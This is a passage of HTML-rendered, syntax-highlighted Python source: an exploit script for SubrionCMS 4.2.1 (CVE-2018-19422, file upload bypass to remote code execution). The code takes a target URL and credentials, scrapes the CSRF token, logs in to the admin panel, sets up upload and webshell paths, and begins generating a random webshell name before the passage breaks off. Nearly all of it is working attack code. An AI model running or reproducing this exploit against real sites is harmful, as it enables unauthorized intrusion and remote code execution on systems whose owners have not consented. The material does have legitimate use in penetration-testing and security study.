stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #545454; font-style: italic\">#!\/usr\/bin\/python3<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> requests<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> time<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> optparse<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> random<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> string<\/span><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">from<\/span><span style=\"color: #EEFFFF\"> bs4 <\/span><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> BeautifulSoup<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">parser <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> optparse<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">OptionParser<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">parser<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">add_option<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">-u<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">--url<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">action<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">store<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">dest<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">url<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">help<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Base target uri http:\/\/target\/panel<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">parser<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">add_option<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">-l<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">--user<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">action<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">store<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">dest<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">user<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">help<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">User credential to login<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">parser<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">add_option<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">-p<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">--passw<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">action<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">store<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">dest<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">passw<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">help<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Password credential to login<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">options<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> args <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> parser<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">parse_args<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">if<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">not<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">url<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Specify an url target<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Example usage: exploit.py -u http:\/\/target-uri\/panel<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line cbp-see-more-line \"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Example help usage: exploit.py -h<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">exit<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">url_login <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">url<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">url_upload <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">url<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">uploads\/read.json<\/span><span style=\"color: #89DDFF\">&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">url_shell <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">url<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">uploads\/<\/span><span style=\"color: #89DDFF\">&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">username <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">user<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">password <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> options<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">passw<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">session <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> requests<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">Session<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #C792EA\">def<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">login<\/span><span style=\"color: #89DDFF\">():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #C792EA\">global<\/span><span style=\"color: #EEFFFF\"> csrfToken<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 <\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Trying to connect to: <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\"> url_login<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">try<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        get_token_request <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> session<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">get<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">url_login<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        soup <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">BeautifulSoup<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">get_token_request<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">text<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">html.parser<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        csrfToken <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> soup<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">find<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">input<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF; font-style: italic\">attrs<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">name<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">__st<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">})[<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">value<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Success!<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        time<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">sleep<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #89DDFF; font-style: italic\">if<\/span><span style=\"color: #EEFFFF\"> csrfToken<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #C792EA\">f<\/span><span style=\"color: #C3E88D\">&quot;[+] Got CSRF token: <\/span><span style=\"color: #F78C6C\">{<\/span><span style=\"color: #82AAFF\">csrfToken<\/span><span style=\"color: #F78C6C\">}<\/span><span style=\"color: #C3E88D\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">[+] Trying to log in...<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            auth_url <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> url_login<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            auth_cookies <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">loader<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">loaded<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            auth_headers <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">User-Agent<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept-Language<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept-Encoding<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">gzip, deflate<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Content-Type<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">application\/x-www-form-urlencoded<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Origin<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">http:\/\/192.168.1.20<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Connection<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">close<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Referer<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">http:\/\/192.168.1.20\/panel\/<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Upgrade-Insecure-Requests<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">1<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            auth_data <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">__st<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> csrfToken<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">username<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> username<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">password<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> password<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            auth <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> session<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">post<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">auth_url<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">headers<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">auth_headers<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">cookies<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">auth_cookies<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">data<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">auth_data<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #89DDFF; font-style: italic\">if<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">len<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">auth<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">text<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&lt;=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #F78C6C\">7000<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #C3E88D\">[x] Login failed... Check credentials<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                <\/span><span style=\"color: #82AAFF\">exit<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #89DDFF; font-style: italic\">else<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Login Successful!<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #89DDFF; font-style: italic\">else<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[x] Failed to got CSRF token<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">exit<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">except<\/span><span style=\"color: #EEFFFF\"> requests<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">exceptions<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">ConnectionError<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF; font-style: italic\">as<\/span><span style=\"color: #EEFFFF\"> err<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #C3E88D\">[x] Failed to Connect in: <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">url_login<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[x] This host seems to be Down<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">exit<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">return<\/span><span style=\"color: #EEFFFF\"> csrfToken<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #C792EA\">def<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">name_rnd<\/span><span style=\"color: #89DDFF\">():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #C792EA\">global<\/span><span style=\"color: #EEFFFF\"> shell_name<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Generating random name for Webshell...<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    shell_name <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&#39;&#39;<\/span><span style=\"color: 